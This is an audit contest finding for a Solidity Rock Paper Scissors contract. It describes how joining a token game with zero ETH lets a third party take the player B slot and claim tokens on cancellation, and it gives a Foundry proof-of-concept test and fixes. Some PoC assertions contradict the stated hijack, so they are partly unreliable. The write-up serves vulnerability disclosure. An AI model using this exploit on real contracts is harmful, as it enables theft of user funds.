Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can able to modify the playerB address

lucky2892000

[H-1] summary

anyone can able to modify the playerB address

vulnerability details

playerA creates a game using RockPaperScissors::createGameWithToken. Anyone by calling the RockPaperScissors::joinGameWithEth can be able to modify the playerB address as theirs by not approving any winningToken to the contract address

  1. To check for whether the user have particiapted using the winning tokens we are dependent on game.bet == 0 , we need to user some other condition like isEnteredWithToke and isEnteredWithEth

  2. Bypassing the game.state

require(game.state == GameState.Created, "Game not open to join");

The RockPaperScissors::games(_gameId)::state will be assigned with the default enum which is GameState::Created in this case

  1. Bypassing game.bet - if we dont send any eth then we can bypass this one

POC

In this example
playerA creates the game
playerB joins the game by paying price
playerC attacks the playerB

function testJoinWithEth() public {
// create game with createGameWithToken
// join game with joinGameWithEth
address playerC = makeAddr("playerC");
uint256 playerCBalanceBefore = token.balanceOf(playerC);
uint256 totalTurns = 3;
uint256 timeoutInterval = 10 minutes;
vm.startPrank(playerA);
token.approve(address(game), 1);
uint256 gameNum = game.createGameWithToken(totalTurns, timeoutInterval);
vm.stopPrank();
vm.startPrank(playerB);
token.approve(address(game), 1);
game.joinGameWithToken(gameNum);
vm.stopPrank();
​
// attack
vm.prank(playerC);
game.joinGameWithEth(gameNum);
​
// player A cancels the game
vm.prank(playerA);
game.cancelGame(gameNum);
​
uint256 playerCBalanceAfter = token.balanceOf(playerC);
​
// Attacker got the funds
assertGt(playerCBalanceAfter, playerCBalanceBefore);
(, address secondPlayer,,,,,,,,,,,,,,) = game.games(gameNum);
assertEq(secondPlayer, playerB, "playerB should be the second player");
}

impact - High

-> Attacker can able to gain the tokens for free when the game cancels

likelyhood - High

Recommendations

  1. Avoid using the Zero index enum

enum GameState {
+ NonExistant, // or ZeroIndex something like that
Created,
Committed,
Revealed,
Finished,
Cancelled
}

  1. We need to use separate variable for Eth and Token and making it true only when the user have created using the respective game

struct Game {
address playerA; // Creator of the game
address playerB; // Second player to join
uint256 bet; // Amount of ETH bet
uint256 timeoutInterval; // Time allowed for reveal phase
uint256 revealDeadline; // Deadline for revealing moves
uint256 creationTime; // When the game was created
uint256 joinDeadline; // Deadline for someone to join the game
uint256 totalTurns; // Total number of turns in the game
uint256 currentTurn; // Current turn number
bytes32 commitA; // Hashed move from player A
bytes32 commitB; // Hashed move from player B
Move moveA; // Revealed move from player A
Move moveB; // Revealed move from player B
uint8 scoreA; // Score for player A
uint8 scoreB; // Score for player B
GameState state; // Current state of the game
+ bool isEnteredWithToken,
+ bool isEnteredWithEth,
}
Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Absence of State Change on Join Allows Player B Hijacking

Game state remains Created after a player joins

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.